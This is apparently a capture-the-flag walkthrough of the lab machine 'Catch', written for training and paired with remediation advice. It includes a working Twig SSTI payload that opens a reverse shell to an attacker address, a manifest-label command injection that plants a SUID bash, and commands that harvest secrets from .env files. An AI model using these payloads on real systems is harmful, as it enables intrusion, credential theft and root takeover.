← all walkthroughs

Catch

Linux· Medium
owned
2026-07-15
time to own
11m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I downloaded a publicly distributed Android APK from the target's port-80 web server and decompiled it, recovering hardcoded bearer tokens for internal services. A valid Let's Chat token was replayed against the messaging API to read private chat history, which contained plaintext Cachet administrator credentials.

Cachet was vulnerable to Twig server-side template injection (CVE-2021-39172), granting remote code execution inside a Docker container as the web user. A cleartext password found in the container's .env configuration file had been reused as the host-OS login for account 'will', allowing SSH access to the underlying machine and capture of the user flag.

A root-owned cron job that validated incoming APK files extracted the application label from each file's AndroidManifest.xml and interpolated it directly into a shell command without sanitization. A crafted APK whose label embedded a command-injection payload was dropped into the watched directory; one minute later the cron executed it as root, producing a SUID bash copy that granted a root shell and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service fingerprinting (T1046)
Mapped all exposed services and identified the downloadable APK
A full TCP port scan revealed five services: SSH on 22, Apache on 80 serving a mobile-application download page, Gitea on 3000, Let's Chat on 5000, and the Cachet status-page on 8000. The port-80 landing page prominently offered 'catchv1.0.apk' for download, making it the natural starting point for further analysis.
Exact commands 3
Full TCP scan with version/script detection; discovers all five services including port 5000.
nmap -Pn -sV -sC -p- --min-rate 5000 $TARGET -oA catch_full
Identify the APK download link on the port-80 landing page.
curl -s http://$TARGET/ | grep -i 'apk\|download'
Download the Android application for offline analysis.
wget http://$TARGET/catchv1.0.apk
2Credential AccessHardcoded credentials in mobile application binary (T1552.001)
Decompiled the APK and extracted hardcoded API tokens
The downloaded APK was decompiled with apktool (recovering the manifest and resources) and jadx (recovering readable Java). Static analysis of the resulting source code found three plaintext bearer tokens embedded directly in the application: one for Gitea (expired), one for Let's Chat, and one for Cachet. No reverse-engineering expertise was required — standard free tools recovered the secrets in minutes.
Exact commands 3
Decompile to smali/resources; recovers AndroidManifest.xml and string resources.
apktool d catchv1.0.apk -o catch_decompiled
Decompile to readable Java source for easier string searching.
jadx -d catch_jadx catchv1.0.apk
Search the decompiled output for embedded secrets; reveals Let's Chat and Cachet bearer tokens.
grep -rni 'token\|api_key\|bearer\|secret\|authorization' catch_jadx/ catch_decompiled/ 2>/dev/null
FixRemove all hardcoded secrets from the Android applicationCritical
WeaknessThe publicly downloadable APK contained plaintext API tokens for internal services (Let's Chat and Cachet) embedded directly in the application binary. Any user who downloaded the file could extract every token with free decompilation tools in under five minutes.
FixNever ship secrets — tokens, passwords, or API keys — inside a client application binary. Implement a proper authentication flow (OAuth 2.0 / OIDC) so users authenticate with their own credentials and the app receives short-lived, scoped tokens at runtime. If a backend-to-backend token is genuinely needed, serve it from a protected server endpoint after user authentication, never embed it at build time. Rotate every token that was present in the current APK immediately.
3Credential AccessBearer token replay against an internal API to harvest credentials (T1078.001)
Used the Let's Chat bearer token to read internal messages and recover Cachet credentials
The extracted Let's Chat token was replayed against the messaging API on port 5000. Listing all rooms and then fetching message history returned private conversations in which an administrator had shared the Cachet admin username and password in plaintext. No brute-forcing was necessary — the application had already authenticated my via the stolen token.
Exact commands 2
List all Let's Chat rooms; note the _id values for the next call.
curl -s -H 'Authorization: Bearer <letschat_api_token>' http://$TARGET:5000/rooms | python3 -m json.tool
Dump message history for each room; search for plaintext credentials in chat logs.
curl -s -H 'Authorization: Bearer <letschat_api_token>' "http://$TARGET:5000/rooms/<room_id>/messages?limit=50" | python3 -m json.tool
FixRestrict Let's Chat to internal networks and prohibit sharing credentials in chatHigh
WeaknessThe Let's Chat API accepted the stolen bearer token and returned the full message history of every room, including a thread where an administrator posted the Cachet admin password in plaintext. The service was reachable from any host that could reach port 5000.
FixBind Let's Chat to localhost or a VPN-only network interface so it is unreachable from untrusted hosts. Enforce token expiration and revocation so that a leaked token cannot be used indefinitely. Establish and enforce a policy that passwords, API keys, and other secrets must never be shared through chat, email, or tickets — use a dedicated password manager or vault for all credential handoffs.
4ExploitationServer-Side Template Injection — Twig (CVE-2021-39172 / T1190)
Exploited Cachet Twig SSTI (CVE-2021-39172) for remote code execution inside the Docker container
The recovered credentials authenticated to the Cachet admin panel on port 8000. The installed version of Cachet passed API request fields directly into Twig template rendering without sanitization. Injecting a Twig arithmetic expression ({{7*7}}) into a component-name field and observing '49' in the response confirmed template evaluation. A Twig payload invoking a PHP exec call was then injected, delivering a reverse shell and landing a session as 'www-data' inside the Cachet Docker container.
Exact commands 3
Confirm SSTI: a '49' in the component name response proves Twig is evaluating input.
curl -s -X POST "http://$TARGET:8000/api/v1/components" -H 'Content-Type: application/json' -H 'X-Cachet-Token: <cachet_api_token>' -d '{"name":"{{7*7}}","status":1}' | python3 -m json.tool
Start a reverse-shell listener on my machine before injecting the exec payload.
nc -lvnp 4444
Replace $ATTACKER_IP with your listener address; URL-encode payload if curl rejects special chars.
curl -s -X POST "http://$TARGET:8000/api/v1/components" -H 'Content-Type: application/json' -H 'X-Cachet-Token: <cachet_api_token>' -d '{"name":"{{['bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'']|filter('system')}}","status":1}'
FixPatch or replace Cachet to eliminate the Twig SSTI vulnerability (CVE-2021-39172)Critical
WeaknessThe installed version of Cachet evaluated user-supplied API field values as Twig template expressions, allowing any authenticated user to execute arbitrary PHP code on the server — giving an unauthorised user a shell inside the container with a single HTTP request.
FixUpgrade Cachet to a release that addresses CVE-2021-39172 (patched in 2.4.0-beta.4 and later). If an immediate upgrade is not feasible, restrict the admin API and dashboard to trusted IP addresses via web-server access controls and disable external access entirely. Run the Cachet process as a dedicated unprivileged account so that even a successful exploit cannot reach host-level resources. Monitor for signs of template injection in application and web-server logs.
5DiscoveryCredentials in container environment files (T1552.001 / T1082)
Enumerated the container environment and recovered the host-user's cleartext password
From the www-data shell inside the Docker container, the Cachet application's .env file and the container's environment variables were inspected. The database password stored there in plaintext was the same password used by the host-OS account 'will', demonstrating that a credential shared between the container configuration and the host OS turned an isolated compromise into full host access.
Exact commands 3
Read the Cachet configuration file; look for DB_PASSWORD and any other credential fields.
cat /var/www/html/cachet/.env
Dump all container environment variables; often contains the same credentials as .env.
env | grep -iE 'pass|secret|key|token|user'
Broader search for additional credential files within the container filesystem.
find / -maxdepth 8 -name '.env' -o -name 'database.php' -o -name 'config.php' 2>/dev/null | head -20
FixEliminate credential reuse between container configuration and host OS accountsHigh
WeaknessThe password stored in the Docker container's .env file was identical to the host-OS login password for user 'will'. Compromising the containerized application — which is architecturally isolated from the host — immediately unlocked a native SSH session on the underlying server.
FixUse a distinct, randomly generated password for every account and service. Store container secrets (database passwords, API keys) in a secrets manager (Docker Secrets, HashiCorp Vault) rather than in .env files readable inside the container. Rotate the password for 'will' and audit every other account for shared credentials with container configuration. Add the .env file to .gitignore and ensure it is never committed to version control or accessible from outside the container.
6Lateral MovementCredential reuse: container secret reused as host-OS account password (T1078 / T1021.004)
SSH'd to the host as 'will' using the reused container password
The cleartext password extracted from the container's .env file was tried over SSH on port 22 for the host-OS account 'will'. Authentication succeeded immediately, establishing a native shell on the underlying Linux host — outside the Docker container — and allowing the user flag to be read from /home/will/user.txt.
Sshpass -p '[REDACTED: recovered credential]' ssh will@$TARGET returned uid=1000(will) and the user flag.
Exact commands 1
Authenticates as will using the reused password; user.txt value = <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null will@$TARGET 'id; hostname; cat /home/will/user.txt'
7Privilege EscalationCron command injection via unsanitized AndroidManifest label (T1053.003 / T1059.004)
Injected a shell command via a malicious APK manifest label into a root cron job
A root-owned cron script polling /opt/mdm/apk_bin every minute ran apktool against each new APK, extracted the application label from AndroidManifest.xml, and interpolated that label string directly into a shell command without quoting or whitelisting. The original APK was decompiled, its app-label replaced with a shell-injection payload that created a SUID copy of bash, rebuilt, signed, and copied into the watched directory. When the cron fired, the payload executed as root. Running the resulting /tmp/rootbash with the -p flag opened a root-privileged shell, and root.txt was read from /root/root.txt.
Exact commands 9
Decompile the original APK to produce an editable source tree.
apktool d catchv1.0.apk -o evil_src
Locate where the app label is defined — either inline in the manifest or in strings.xml.
grep -n 'app_name\|android:label' evil_src/res/values/strings.xml evil_src/AndroidManifest.xml
Replace the app name with the injection payload; use the correct field name found above.
sed -i 's|<string name="app_name">.*</string>|<string name="app_name">$(cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)</string>|' evil_src/res/values/strings.xml
Rebuild the modified APK.
apktool b evil_src -o evil_unsigned.apk
Generate a signing keystore if one does not already exist.
keytool -genkey -v -keystore debug.keystore -alias androiddebugkey -keyalg RSA -keysize 2048 -validity 10000 -storepass android -keypass android -dname 'CN=Debug,OU=Android,O=Android,L=Mountain View,ST=California,C=US'
Sign the APK so it passes the cron script's signature-verification check.
apksigner sign --ks debug.keystore --ks-pass pass:android --key-pass pass:android --out evil.apk evil_unsigned.apk
Drop the malicious APK into the watched directory using will's SSH credentials.
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null evil.apk will@$TARGET:/opt/mdm/apk_bin/evil.apk
Wait one minute for the cron to fire and confirm the SUID binary was created.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no will@$TARGET 'sleep 65; ls -la /tmp/rootbash 2>&1'
Execute SUID rootbash with -p to retain effective UID=root; root.txt = <root.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no will@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
FixSanitize all data derived from external files before use in shell commands in the root cron scriptCritical
WeaknessA cron job running as root extracted the application label from externally supplied APK files and interpolated it directly into a shell command string without quoting, whitelisting, or escaping. Any user who could write to the watched directory could inject arbitrary commands that would run with root privilege.
FixReplace shell string interpolation with a subprocess API that accepts a list of arguments (e.g., Python's subprocess.run(['tool', label]) instead of subprocess.run(f'tool {label}', shell=True)), so the label is never parsed by a shell. If shell scripting is unavoidable, wrap the variable in single quotes and strip or reject any character outside [A-Za-z0-9 ._-] before use. Restrict write access to /opt/mdm/apk_bin to root only so that low-privilege users cannot place files there. Consider running the validation logic as a dedicated non-root service account rather than in a root cron.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Exposed services

22/tcp
80/tcp
3000/tcp
8000/tcp